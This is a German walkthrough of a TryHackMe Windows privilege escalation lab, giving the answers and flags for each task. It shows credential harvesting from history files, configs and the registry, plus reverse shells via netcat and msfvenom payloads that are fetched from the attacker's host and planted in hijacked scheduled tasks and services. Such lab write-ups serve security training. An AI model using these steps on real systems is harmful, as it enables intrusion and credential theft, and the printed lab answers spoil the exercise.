https://tryhackme.com/room/windowsprivesc20
Task 1 Introduction
Keine Fragen in diesem Task.
Task 2 Windows Privilege Escalation
Frage 1:
Users that can change system configurations are part of which group?
Antwort 1:
Administrator
Frage 2:
The SYSTEM account has more privileges than the Administrator user (aye/nay)
Antwort 2:
aye
Task 3 Harvesting Passwords from Usual Spots
Frage 1:
A password for the julia.jones user has been left on the Powershell history. What is the password?
Wir öffnen die Kommandozeile (Rechtsklick auf das Windows Logo in der Task Leiste > Run > cmd > Enter) und geben folgenden Befehl ein:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Daraufhin öffnet sich die Textdatei der History.

Antwort 1:
ZuperCkretPa5z
Frage 2:
A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?
In der Kommandozeile geben wir diesen Befehl ein, um die web.config Logs zu sehen, gefiltert nach Connection Strings:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Antwort 2:
098n0x35skjD3
Frage 3:
There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.
Wir folgen also der Anleitung uns „wechseln“ auf den User mike.katz, mit den gespeicherten Credentials:
C:\Users\thm-unpriv>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WPRIVESC1\mike.katz
Type: Domain Password
User: WPRIVESC1\mike.katz
C:\Users\thm-unpriv>runas /savecred /user:mike.katz cmd.exe
Attempting to start cmd.exe as user "WPRIVESC1\mike.katz" ...
Daraufhin öffnet sich ein neues Kommandozeilenfenster, das uns als Mike Katz sieht. Hier müssen wir nur zur Flag auf dem Desktop navigieren.

Antwort 3:
THM{WHAT_IS_MY_PASSWORD}
Frage 4:
Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?
Zurück in „unserem“ Kommandozeilenfenster geben wir nun den Befehl ein, um die gespeicherten Daten in PuTTY zu sehen:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Antwort 4:
CoolPass2021
Task 4 Other Quick Wins
Frage 1:
What is the taskusr1 flag?
Durch die Scheduled Tasks versuchen wir uns nun an einem Privilege Escalation Szenario. Wir ändern den geplanten Task und verschaffen uns so eine Reverse Shell. Zuerst ändern wir den tatsächlichen Task zu unserer kleinen Payload (in der Kommandozeile der Machine):
C:\> echo c:\tools\nc64.exe -e cmd.exe THM_IP 1234 > C:\tasks\schtask.bat
Jetzt starten wir auf unserem Rechner einen Netcat listener:
nc -lvnp 1234
In der Kommandozeile auf der Machine starten wir jetzt den manipulierten Task:
schtasks /run /tn vulntask
Auf unserem Listener erhalten wir nun die Reverse Shell und lassen uns den Inhalt der flag.txt anzeigen:
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.1.75] from (UNKNOWN) [10.10.233.245] 49838
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\users\taskusr1\Desktop\flag.txt
type C:\users\taskusr1\Desktop\flag.txt
THM{TASK_COMPLETED}
C:\Windows\system32>
Antwort 1:
THM{TASK_COMPLETED}
Task 5 Abusing Service Misconfigurations
Frage 1:
Get the flag on svcusr1’s desktop.
Wir nutzen wieder eine Schwachstelle im Scheduler, um uns eine Reverse Shell zu eröffnen. Erstellen wir zuerst eine Payload auf unserem Rechner:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc.exe
Nun erstellen wir einen http Server, damit die Payload heruntergeladen werden kann:
python3 -m http.server
In einem neuen Fenster starten wir auch direkt den Netcat Listener:
nc -lvnp 1234
Auf der Machine starten wir PowerShell (Rechtsklick auf das Windows Logo in der Task Leiste > Run > PowerShell > Enter) und laden unsere Datei herunter:
wget http://THM_IP:8000/rev-svc.exe -O rev-svc.exe
In der Kommandozeile auf der Machine folgen wir den weiteren Schritten und benennen die ursprüngliche Datei um, benennen die Payload in den Namen der ursprünglichen Datei und verschieben sie und schließlich stoppen wir den Windows Scheduler und starten ihn neu:
C:\Users\thm-unpriv>cd c:\PROGRA~2\SYSTEM~1\
c:\PROGRA~2\SYSTEM~1>move WService.exe WService.exe.bkp
1 file(s) moved.
c:\PROGRA~2\SYSTEM~1>move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
c:\PROGRA~2\SYSTEM~1>icacls WService.exe /grant Everyone:F
processed file: WService.exe
Successfully processed 1 files; Failed processing 0 files
c:\PROGRA~2\SYSTEM~1>sc stop windowsscheduler
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x3e8
c:\PROGRA~2\SYSTEM~1>sc start windowsscheduler
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 4140
FLAGS :
c:\PROGRA~2\SYSTEM~1>
Auf unserem Rechner haben wir nun eine Reverse Shell und lassen uns die Flag anzeigen:
C:\Windows\system32>type c:\users\svcusr1\Desktop\flag.txt
type c:\users\svcusr1\Desktop\flag.txt
THM{AT_YOUR_SERVICE}
C:\Windows\system32>
Antwort 1:
THM{AT_YOUR_SERVICE}
Frage 2:
Get the flag on svcusr2’s desktop.
Hier können wir wieder der Anleitung folgen, um die „Unquoted Service Path“- Fehler auszunutzen. Zuerst generieren wir unsere Payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc2.exe
Anschließend starten wir den Netcat Listener, auf dem Port der Payload:
nc -lvnp 1234
Nun starten wir wieder einen Webserver, damit wir unsere Payload auf die Machine bekommen:
python3 -m http.server
Auf der Machine starten wir Powershell und laden unsere Payload herunter:
wget http://THM_IP:8000/rev-svc2.exe -O rev-svc2.exe
Nun verschieben wir die Payload und benennen sie dabei um und geben allen Benutzern auch die Rechte, die Datei zu verwenden:
PS C:\Users\thm-unpriv> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
PS C:\Users\thm-unpriv> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
processed file: C:\MyPrograms\Disk.exe
Successfully processed 1 files; Failed processing 0 files
Anschließend starten wir ein Kommandozeilenfenster auf der Machine und stoppen und starten alle Prozesse wieder, so erhalten wir die Reverse Shell auf unserem Rechner, mit Zugriff von svcusr2:
C:\Users\thm-unpriv>sc stop "disk sorter enterprise"
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Users\thm-unpriv>sc start "disk sorter enterprise"
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 4892
FLAGS :
C:\Users\thm-unpriv>
Über unseren Listener haben wir jetzt Zugriff und lassen uns die Flag anzeigen:
C:\Windows\system32>type c:\users\svcusr2\Desktop\flag.txt
type c:\users\svcusr2\Desktop\flag.txt
THM{QUOTES_EVERYWHERE}
C:\Windows\system32>
Antwort 2:
THM{QUOTES_EVERYWHERE}
Frage 3:
Get the flag on the Administrator’s desktop.
Weiter geht es mit den Insecure Service Permissions. Hier beginnen wir wieder mit unserer Payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=THM_IP LPORT=1234 -f exe-service -o rev-svc3.exe
Und starten auch wieder den Listener:
nc -lvnp 1234
Unser Webserver läuft ja noch, ansonsten starten wir ihn wie in Frage 2.
Wir laden nun die Payload auf die Machine. Dazu geben wir den folgenden Befehl in Powershell ein:
wget http://10.8.1.75:8000/rev-svc3.exe -O rev-svc3.exe
Und geben allen Benutzern wieder die Rechte für die Payload:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
Auf der Machine öffnen wir jetzt wieder die Kommandozeile und geben folgendes ein:
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Beachtet die Leerstelle zwischen „obj=“ und „LocalSystem“. Jetzt starten wir unseren neu erschaffenen Prozess:
sc start THMService
Und wir haben eine Reverse Shell! Lassen wir uns gleich den Inhalt der Flag anzeigen:
C:\Windows\system32>type c:\Users\Administrator\Desktop\flag.txt
type c:\Users\Administrator\Desktop\flag.txt
THM{INSECURE_SVC_CONFIG}
C:\Windows\system32>
Antwort 3:
THM{INSECURE_SVC_CONFIG}
Task 6 Abusing dangerous privileges
Frage 1:
Get the flag on the Administrator’s desktop.
Hier können wir uns eine der drei gegebenen (und herovragenden) Anleitungen aussuchen und die Flagge erreichen.
Antwort 1:
THM{SEFLAGPRIVILEGE}
Task 7 Abusing vulnerable software
Frage 1:
Get the flag on the Administrator’s desktop.
Zuerst öffnen wir die angegebene Datei auf der Machine (C:\tools\Druva_inSync_exploit.txt) und fügen die Änderung hinzu. SO erstellen wir nicht einfach nur den User „pwnd“, sondern er hat auch Administratorrechte. Die Datei muss dann folgendermaßen aussehen:

Nun Starten wir PowerShell auf der Machine und kopieren den Exploit hinein.
Anschließend kontrollieren wir, ob es geklappt hat:
PS C:\Users\thm-unpriv> net user pwnd
User name pwnd
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 9/12/2022 4:45:13 PM
Password expires 10/24/2022 4:45:13 PM
Password changeable 9/12/2022 4:45:13 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
PS C:\Users\thm-unpriv>
Wunderbar, pwnd ist also Administrator! Nun müssen wir eine Kommandozeile als Administrator ausführen. Dazu klicken wir in der Task Leiste auf die Lupe und geben „command“ ein. Anschließend machen wir einen Rechtsklick auf das Ergebnis „Command Prompt“ und wählen „Run as Administrator“.

Nun müssen erscheint eine Passwortabfrage. Hier klicken wir auf „More choices“ und markieren „pwnd“. In das Passwortfeld geben wir unser Passwort ein (SimplePass123). Abschließend klicken wir auf „Yes“. Jetzt öffnet sich die Kommandozeile mit Administratorrechten. Wir lassen uns nun die Flag anzeigen:
C:\Windows\system32>type C:\Users\Administrator\Desktop\flag.txt
THM{EZ_DLL_PROXY_4ME}
C:\Windows\system32>
Antwort 1:
THM{EZ_DLL_PROXY_4ME}
Task 8 Tools of the Trade
Keine Fragen in diesem Task.
Task 9 Conclusion
Keine Fragen in diesem Task.